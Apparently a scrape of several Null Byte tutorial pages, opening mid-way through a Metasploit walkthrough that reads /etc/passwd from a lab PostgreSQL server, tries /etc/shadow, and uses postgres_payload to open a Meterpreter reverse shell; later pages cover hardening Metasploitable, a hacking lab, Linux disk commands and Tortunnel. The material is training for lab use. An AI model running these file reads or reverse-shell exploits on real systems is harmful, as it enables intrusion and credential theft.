uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
[+] 10.10.0.50:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] Auxiliary module execution completedWe can see that it first creates a temporary table, copies the content of the desired file, and returns it to us on the screen. It also saves this as loot to use at a later convenience.Let's try to read a different file – perhaps/etc/shadowthis time. First, set the option:msf5 auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/shadow
rfile => /etc/shadowThen, run the module:msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
[-] 10.10.0.50:5432 Postgres - Insufficent file permissions.
[*] Auxiliary module execution completedWe can see this time that it was unsuccessful since we don't have the necessaryfile permissions. Always worth a try, though.Step 8: Send a PayloadThe final module we will explore today is an exploit that will attempt to place and execute apayloadon the target. First, load the module:msf5 > use exploit/linux/postgres/postgres_payloadAnd view the options:msf5 exploit(linux/postgres/postgres_payload) > options
Module options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Exploit target:
Id Name
-- ----
0 Linux x86Everything looks good, but since this is an exploit, we'll need to set a payload. Use theshowcommand to see the available payloads for this module:msf5 exploit(linux/postgres/postgres_payload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/debug_trap normal No Generic x86 Debug Trap
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 generic/tight_loop normal No Generic x86 Tight Loop
5 linux/x86/chmod normal No Linux Chmod
6 linux/x86/exec normal No Linux Execute Command
7 linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 linux/x86/read_file normal No Linux Read File
19 linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)Let's use the popularMeterpreterreverse shell; use thesetcommand to set the payload:msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcpWe need to set the local host and local port options since this is areverse shell. Set thelhostto the IP address of our local machine:msf5 exploit(linux/postgres/postgres_payload) > set lhost 10.10.0.1
lhost => 10.10.0.1And thelportto a port of your choosing:msf5 exploit(linux/postgres/postgres_payload) > set lport 4321
lport => 4321That should be everything we need, so let's kick it off:msf5 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FKXyvnhM.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.50:37662) at 2020-05-10 12:18:23 -0600
meterpreter >We can see it creates the handler, uploads the payload on the target, and finally, opens a session. We can now run commands likesysinfoto verify we have a shell on the target:meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linuxWrapping UpToday we learned about PostgreSQL databases and how to gather information on them to aid in recon. First, we ran an Nmap scan to verify the service was open on the target. Next, we covered a variety of modules for collecting information, including version, login credentials, and password hashes. Finally, we used a module to exploit PostgreSQL, and ultimately obtained a Meterpreter session on the target.Don't Miss:Use Metasploit's Database to Stay Organized & Store Information While HackingWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTim van der Kuip/UnsplashRelatedHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Enumerate MySQL Databases with MetasploitHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsRaspberry Pi:MetasploitHow to Hack Like a Pro:Getting Started with MetasploitHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPMac for Hackers:How to Install the Metasploit FrameworkHow To:Quickly Gather Target Information with Metasploit Post ModulesHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use Postenum to Gather Vital Data During Post-ExploitationHow To:Make a Reverse HTTPS Payload and Send It with CobaltStrikeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Mac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:The Hacker MethodologyHow To:Exploit EternalBlue on Windows Server with MetasploitHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Run an VNC Server on Win7Hack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHow To:Hack Metasploitable 2 Including Privilege EscalationNews:PostgreSQL Quick StartNews:Accessing a PostgreSQL Database in your C/C++ ProgramIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHack Logs and Linux Commands:What's Going On Here? |
How to Hack Metasploitable 2 Part 1 « Null Byte :: WonderHowTo | This tutorial is for people who want to try different types of hacks in an environment that is the same for everyone so it will help people to ask questions and learn. This series assumes you know how to run a VM and network them together. This series also assumes that the services running on the Metasploitable machine are needed to be running.Download Metasploitable 2hereFirst off the biggest issue with Metasploitable is the passwords for the accounts. This is super easy to hack because the login screen for Metasploitable gives the default username and password for in the /etc/issue file which we will change later.First off is to login with SSH and accept the keyNot hit ctrl+c to exit this and connect through msfadmin (or you could do this step first ;) )Since we know the default password is msfadmin we can log right in. After this we should grab sudo permissions so we can secure our machine more.Now we know what the default passwords are because it is well documented. Picture fromhere.Next I am going to change the passwords of all these accounts. I changed them all to nullbyte because it is simple even though it is really insecure. Also we want to keep these accounts so employees can do their work.Next we want to prevent root login for SSH. Open the file /etc/ssh/sshdconfig and find the PermitRootLogin yes and change the yes to no. Morehere.Next restart the SSH daemon with /etc/init.d/ssh restart. Next we should remove the default username and password from the welcome login screen. This is located in /etc/issue.This was found with a simple Google search. Also editing the /etc/motd will allow you to edit for all logins no matter if it is local or remote but isn't covered here.At least change this highlighted line. You can change more of this if you like.More coming soon if people like this series! Please give me any feedback in the comments. I will try to help as with the awesome people of this site!Next tutorial coming soon!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack Metasploitable 2 Including Privilege EscalationHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:Hack Metasploitable 2 Part 2How To:Exploit Remote File Inclusion to Get a ShellHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHowTo:Build Your Own DIY SuperMacro LensHack Like a Pro:How to Extract Email Addresses from an SMTP ServerHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:Hack web browsers with BeEFHow To:Hack LAN passwords with EttercapHow To:Hack a Microsoft Zune for a larger hard driveHow To:Hack LG Rumor/Rumour LG260 Virgin MobileHack Video Games, Part 1:IntroductionHow To:Hack payphones and SIM cardsNews:Overhead Camera Boom Made with PVC PipeNews:Make Pandora Battery for a Slim PSPHow To:Hack a Radio to Pick Up Different Frequencies - Including Law Enforcement & MoreNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:8 Jury-Rigged Fitness Tools for Cheap At-Home WorkoutsTVs Are for Old People:A Guide to Handheld ConsolesHow To:13 Awesome Household Cleaning HacksNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:16 Baking Hacks for Your Next Baking Adventure |
Hack Like a Pro: How to Create a Virtual Hacking Lab « Null Byte :: WonderHowTo | Welcome back, my amateur hackers!Many of you here are new tohacking. If so, I strongly recommend that each of you set up a "laboratory" to practice your hacks. Just like any discipline, you need to practice, practice, and practice some more before you take it out to the real world.In many disciplines, if you don't practice, you fall victim to failure. In our discipline, if you don't practice and fail, you may be serving years behind bars. This makes practice and a dedicated practice lab an even more compelling argument than with other disciplines.Many of you have been having difficulty setting up your hacking environment to practice your hacks. In this tutorial, I will show you thesimplest and fastestway to set up a lab to practice your hacks before taking them out into the real world where any slip-ups could be devastating!Step 1: Download VMware Workstation or PlayerThe best way to practice hacking is within a virtual environment. Essentially, you set up a hacking system, such asKali Linux, and some victims to exploit. Ideally, you would want multiple operating systems (Windows XP, Vista, 7, and 8, as well as aLinuxflavor) and applications so that you can try out a variety of hacks.Virtual machines and a virtual network are the best and safest way to set up a hacking lab. There are several virtualization systems out there, includingCitrix, Oracle'sVirtualBox,KVM, Microsoft'sVirtual PCandHyper-V, and VMware'sWorkstation,VMware PlayerandESXi. For a laboratory environment, I strongly recommend VMware's Workstation or Player. Workstation is commercial product that costs under $200, while Player is free. You can also get a free 30-day trial of Workstation.Player is limited to just playing VMs, while Workstation can both create and play VMs. Let's download VMware's Workstation or Playerhere.Step 2: Download Kali VMware ImagesOnce you have downloaded and installed your virtualization system, our next step is to download theVMware images of Kaliprovided by Offensive Security. With these images, you won't have to create the virtual machine, but simply run it from Workstation or Player—Offensive Security has already created this image for you. This means that once you have downloaded the VM of Kali, you can then use it in either Workstation or Player.Step 3: Unzip ImagesOnce you have completed the download, you will need to unzip the files. There are numerous zip utilities available for free including7-Zip,WinZip,WinArchiver, etc. Download and install one and unzip the files. In the screenshot below, I have downloaded the free trial of WinZip and have used it to unzip the Kali files.Step 4: Open VMware ImageOnce all the files have been unzipped, our next step is to open this new virtual machine. Make note of the location where you have unzipped the virtual machine image. Then, go to either VMware Workstation or Player and go toFile -> Openlike in the screenshot below.This will open a window like that in the screenshot below. You can see that my Kali image was stored under documents, so I browse there and double-click on the folder.When I do so, it reveals the VMware virtual machine file that I will load into VMware. Note that I am using the "amd64" version, which is simply the 64-bit version, but the 32-bit version will work, as well, albeit a bit slower.When you do so, VMware will start your virtual machine and greet you with a screen like below.Click on the green button in the upper left below "Kali-Linux-1.0.9-vm-amd64" that says "Power on this virtual machine." You should be greeted by the now familiar Kali screen like below.Simply use the user "root" and password "toor" to get started hacking!Step 5: Download & Install TargetsFor the next step, you need to download and install a target system. Of course, you could use your own host Windows 7 or 8 system, but since this is practice, you might want to use an older, easier to hack system. In addition, hacking your own system can leave it unstable and damaged.I recommend installing a Windows XP, Vista, Server 2003, or an older version of Linux. These systems have many known security flaws that you can practice on and, then when you become more proficient at hacking, you can then upgrade to Windows 7 and 8 and newer versions of Linux.If you or your friends don't have a copy of these older operating systems, you can purchase them very inexpensively many places on the Internet. For instance, at last check there are numerous copies available on eBay for as low as $9.95.Of course, you can also obtain these operating systems for free on many of the torrent sites, but BEWARE... you will likely be downloadingmore than just the operating systems. VERY often, these free downloads includerootkitsthat will embed in your system when you open the file.In addition, older versions of Linux are available from the distributor or via torrent sites, as well.Step 6: Download Old ApplicationsOnce you have your operating system in place, very often you will need applications to run on these older versions of the Windows and Linux operating systems. You will likely need a browser, Office, Adobe products, etc. These older products have well-known security flaws that you can hone your skills on.I like the siteOld Appsto download many of these. Of course, once again, you can obtain these from many of the torrent sites with the same caveat as above of you might get more than you bargained for.I'm hoping that this brief tutorial is helpful to some of you who have had difficulty setting up Kali and a lab, and now we can get back toour work of hacking, my amateur hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Create a Smartphone Pentesting LabNews:How to Study for the White Hat Hacker Associate Certification (CWA)Brief Reality:AR Goes Green in HackathonHacking Android:How to Create a Lab for Android Penetration TestingHow To:Hack Club Penguin for loads of money (03/22/09)How To:XDA Labs Makes Installing Third-Party Apps & Hacks EasyNews:One of the Best Android File Managers Is Finally on the Play StoreApple AR:Virtual Dog Demo by Ridgeline Could Be the New TamagotchiNews:Startup Light Field Lab Lands $28 Million in Funding from Samsung, Verizon, & Comcast for Holographic DisplaysHow To:Ingress, Google's Awesome New Mind-Hacking AR Game for Android Phones Now in Beta!How To:Broken Buttons on Your Android Phone? Use This On-Screen Navigation Bar Instead (No Root Needed)Market Reality:Businesses Invest in the Expansion of AR Services & Content CreationHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceNova Launcher 101:How to Unlock the Hidden 'Labs' Menu for Experimental FeaturesNews:Virtual Labs Finding your Etsy NicheThe Film Lab:Chroma Keying in Final Cut ProTHE FILM LAB:Intro to Final Cut Pro - 03THE FILM LAB:Intro to Final Cut Pro - 02News:Networking Virtual Machines Using VDETHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01How To:do a dolly zoom in-camera effect shot, Sam RaimNull Byte:Never Let Us DieNews:THE FILM LAB - Make a BEST PICTURE Oscar-winnerTHE FILM LAB:Our Latest Equipment Upgrade: iPhone 4THE FILM LAB:SUMMERHOOD - Jacob Medjuck Interview #1THE FILM LAB - On Location #4:Lighting GagsNews:THE FILM LAB - Dutch TiltTHE FILM LAB - On Location #3:GripsNews:Welcome to The Film Lab! |
Linux Basics for the Aspiring Hacker: Managing Hard Drives « Null Byte :: WonderHowTo | Managing hard drives inLinuxis crucial to understanding your system and its operation as well as understanding the system you are exploiting or conducting aforensic analysison. Linux has numerous commands that can provide us with information, control, and management of hard drives, and in this tutorial, we will examine a number of the most important ones.Hard Drive Designations in LinuxUnlike the C: drive in Windows, Linux does not have a physical drive at its root. Instead, it has a/(slash) at the top (root) of its file system. It then mounts physical drives to this file system either at/mntor/media.Linux uses a logical label for the drives that are then mounted on the file system. These logical labels will vary depending upon when and where they are mounted. This means that the same hard drive might have different labels at different times.Previously:Archiving & Compressing Files in LinuxGenerally, the system for labeling drives starts with:hdahdbhdcetc.The letters "hd" stand forharddrive, and the following letter is the order with which they are mounted. With newer hard drives (SATA), Linux designates them with:sdasdbsdcetc.The "s" is a legacy from SCSI drives. Partitions within those drives are then designated with numbers after the letters such as sda1, sda2, sda3, etc.Step 1: DfAmong the most basic commands in Linux isdf. When we type it, it will provide us with basic information on any hard disks or mounted drives such as CD, DVD, or flash drives. It is usually used to quickly glance at the available space on your drives; that's why "df" stands fordiskfree.kali > dfNote that my virtual disk on this system was designated sda1.sd= SATA drivea= first hard drive1= first partition of that driveAnd my 16 GB flash drive was sdb1 and my external hard drive sdc1.Step 2: FdiskThefdsiskcommand is often used to determine the partitions on the disk. If we use the-lswitch, it will list all the partitions of all of the drives.kali > fdisk -lAs you can see in the screenshot above, it lists sda1, sda2, and sda3 in the first circled stanza. This is the virtual disk from my virtual machine that thisKali Linuxis installed on. Note that it is 25 GB with three partitions including the swap partition (sda3).If we scan a bit down the screenshot to the second stanza, we see a second device output designated sdb1. This is my 16 GB flash drive. Note that fdisk indicates that it is a FAT32 filesystem type.Lastly, we see sdc1 in the third circled stanza. This is my external 1 TB hard drive. Note that fdisk indicates that it is a NTFS file system.Step 3: LsblkIn Linux, devices are categorized as either block or character devices. Character devices are such devices as keyboards and printers. Block devices are hard drives, DVD devices, and flash drives, among others.We have a command,lsblk(list block), that will list some basic information about each of the block devices. It will also display the devices in a kind of tree, showing each device with branches of its partitions. An example would be sda with the branches of sda1, sda2, and sda3.kali > lsblkNote in the output above, it also includes fd0 (floppy drive) and sr0 (DVD drive). Additional information included here is the mount point of the drive. Note that both of my external USB devices are mounted at/media/root.Step 4: PartedThe parted command is capable of displaying your partitions and editing them. We can start by simply typing:kali > partedWhen we do so, it returns an interactive prompt beginning with (parted). From that prompt, we can provide further options and information to parted. For instance, if we wanted to see all the partitions like above, we can type:(parted) printIf we wanted to see the specific information on a single partion, we can useselectfollowed by the partition. For instance:parted select /dev/sdbAs you can see, parted then provided us with just the information on that single partition, my FAT32 16 GB flash drive.To remove a partition, simply typermpartfollowed by the number of the partition such as:(parted) rmpart 5We can use parted to create and edit partitions, but I don't recommend it for beginners—without knowledge and experience, one is likely to cause more damage than good.Finally, to leave the interactive mode of parted, type:(parted) quitStep 5: Hdparmhdparmis a powerful utility that enables us to change and edit the parameters of the hard drive. This can be useful in applications such as forensics, but can be very dangerous without sufficient knowledge. I introduce it to you here as we will be using it inmy forensics seriesin the near future.As you can see from the voluminous help page above, hdparm is capable of altering and editing just about any parameter of your hard drive.To become a professional hacker,you must be competent in Linux. I hopethis serieswill continue to develop your Linux skills, thereby assisting you in your goal of becoming a professional hacker.Keep coming back, my neophyte hackers!Next Up:Using Start-Up Scripts in LinuxFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bykozirsky/Shutterstock; Screenshots by OTW/Null ByteRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 20 (Devices Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 23 (Logging)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 8 (Managing Processes)Mac for Hackers:How to Install Kali Linux as a Virtual MachineGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:Virtualization Using KVMGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Bypass Windows and Linux PasswordsCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:Conceal a USB Flash Drive in Everyday ItemsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingNews:The Right Linux DistroNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Run Windows from Inside LinuxCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Install Linux to a Thumb Drive |
How to Use Tortunnel to Quickly Encrypt Internet Traffic « Null Byte :: WonderHowTo | Encryped traffic and tunneling is a must when away from home to keep you and your information safe.SSH tunnelscan be slow, and are heavily encrypted.VPNsare an all port solution, and proxies are just not what we need in most cases. Then, there isTor.Tor runs your traffic through 3 hops and multiple nodes to mask your IP via their onion-routing system. But, let's face it, Tor is slow. Having that many hops makes our ping delay increase dramatically.Moxie Marlinspikehas created a nifty little tool that can send your traffic through a single Tor exit node calledTortunnel. Tortunnel is a partial onion proxy implementation that's designed to build single-hop circuits through Tor exit nodes. This is useful in cases where you might want a very low level of anonymity, and don't want to deal with the performance implications of using Tor's full three-hop circuits.In thisNull Byte, we are going to set up Tortunnel to push our traffic through, giving ourselves a light layer of anonymity and protection.RequirementsRootprivelagesLet's get started!Step1Download & Install TortunnelAll writing inboldmeans it is intended to be entered in a terminal emulator.Let's start by downloading and configuring our Tortunnel software.Download Totunnel from its official mirror:wget http://www.thoughtcrime.org/software/tortunnel/tortunnel-0.3.tar.gzExtract the archive:tar zxvf tortunnel-0.3.tar.gzChange to the new directory:cd tortunnel-0.3Configure the files:./configureCompile and install the program:sudo make && sudo make installStep2Set Up Our TunnelNow let's set up our Tortunnel to be ready to have traffic run through it.Let's put a SOCKS interface on localhost port 5060:torproxy -p 5060 -rThat's all you need to do, but if you have a specific exit node you want to tunnel through, use this:torproxy -p 5060 -n <ip of exit node>Open your browser (or another internet program) and change your network/proxy settings to:http://localhost:5060-OR-127.0.0.1:5060Please enable JavaScript to watch this video.Start some chatter in theIRCand theForumsfor more Null Byte action!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage bysidibousaid60RelatedHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Use a Firewall to Keep Data-Hungry Apps in CheckHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Bypass School Internet Filters to Unblock WebsitesPrivacy 101:Using Android Without Compromising SecurityHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Android Security 101:How to Secure Your Communications & MessagesHow To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneHow To:Access the Dark Web While Staying Anonymous with TorHow To:Advanced Cryptography - Total GuideHow To:Stay Anonymous on Your Nexus 7Hack Like a Pro:How to Anonymously Torrent Files with TriblerHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Use Wireshark to Steal Your Own Local PasswordsMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Become Anonymous on the Internet Using TorHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetNews:Stop Internet CensorshipHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Encrypt And Decrypt Text In PythonHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:get free carHow To:Safely Log In to Your SSH Account Without a PasswordNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Chain VPNs for Complete AnonymitySecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Use Content For Promoting 